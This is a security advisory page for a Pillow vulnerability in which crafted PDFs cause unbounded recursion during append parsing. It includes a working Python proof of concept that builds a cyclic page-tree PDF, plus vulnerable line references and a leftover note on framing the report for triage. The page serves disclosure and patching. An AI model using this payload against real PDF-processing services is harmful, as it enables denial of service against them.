All vulnerabilities
CVE-2026-112895GHSA-p4wg-p73j-c528

Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

python-pillow pillowpipLibraries & packages
CVSS
8.7High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.29%Chance of exploitation activity in the next 30 days, higher than 20% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in13.0.0Fixed versionGitHub
Published19 Oct 2026Updated 20 Oct 2026CVE List

What fixes it

  • 13.0.0pillow, pipGitHub
  • 13.0.0pillow, PyPIOSVpip install "pillow>=13.0.0"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details

linearize_page_tree recurses on /Kids with no cycle or depth check:

  • src/PIL/PdfParser.py:1078-1092

read_prev_trailer catches only a repeated offset:

  • src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)

PoC

from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Run it:

$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact

A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.

Text from GitHub Advisory Database

Affected versions 52

  • pillow, pip>= 5.1.0, < 13.0.0GitHub
  • Pillowaffected: >= 5.1.0, < 13.0.0CVE List
  • pillow, PyPIfrom 5.1.0, fixed in 13.0.0OSV
  • pillow, PyPI10.0.0OSV
  • pillow, PyPI10.0.1OSV
  • pillow, PyPI10.1.0OSV
  • pillow, PyPI10.2.0OSV
  • pillow, PyPI10.3.0OSV
  • pillow, PyPI10.4.0OSV
  • pillow, PyPI11.0.0OSV
  • pillow, PyPI11.1.0OSV
  • pillow, PyPI11.2.1OSV
  • pillow, PyPI11.3.0OSV
  • pillow, PyPI12.0.0OSV
  • pillow, PyPI12.1.0OSV
  • pillow, PyPI12.1.1OSV
  • pillow, PyPI12.2.0OSV
  • pillow, PyPI12.3.0OSV
  • pillow, PyPI5.1.0OSV
  • pillow, PyPI5.2.0OSV
  • pillow, PyPI5.3.0OSV
  • pillow, PyPI5.4.0OSV
  • pillow, PyPI5.4.0.dev0OSV
  • pillow, PyPI5.4.1OSV
  • pillow, PyPI6.0.0OSV
  • pillow, PyPI6.1.0OSV
  • pillow, PyPI6.2.0OSV
  • pillow, PyPI6.2.1OSV
  • pillow, PyPI6.2.2OSV
  • pillow, PyPI7.0.0OSV
  • pillow, PyPI7.1.0OSV
  • pillow, PyPI7.1.1OSV
  • pillow, PyPI7.1.2OSV
  • pillow, PyPI7.2.0OSV
  • pillow, PyPI8.0.0OSV
  • pillow, PyPI8.0.1OSV
  • pillow, PyPI8.1.0OSV
  • pillow, PyPI8.1.1OSV
  • pillow, PyPI8.1.2OSV
  • pillow, PyPI8.2.0OSV
  • pillow, PyPI8.3.0OSV
  • pillow, PyPI8.3.1OSV
  • pillow, PyPI8.3.2OSV
  • pillow, PyPI8.4.0OSV
  • pillow, PyPI9.0.0OSV
  • pillow, PyPI9.0.1OSV
  • pillow, PyPI9.1.0OSV
  • pillow, PyPI9.1.1OSV
  • pillow, PyPI9.2.0OSV
  • pillow, PyPI9.3.0OSV
  • pillow, PyPI9.4.0OSV
  • pillow, PyPI9.5.0OSV

References 5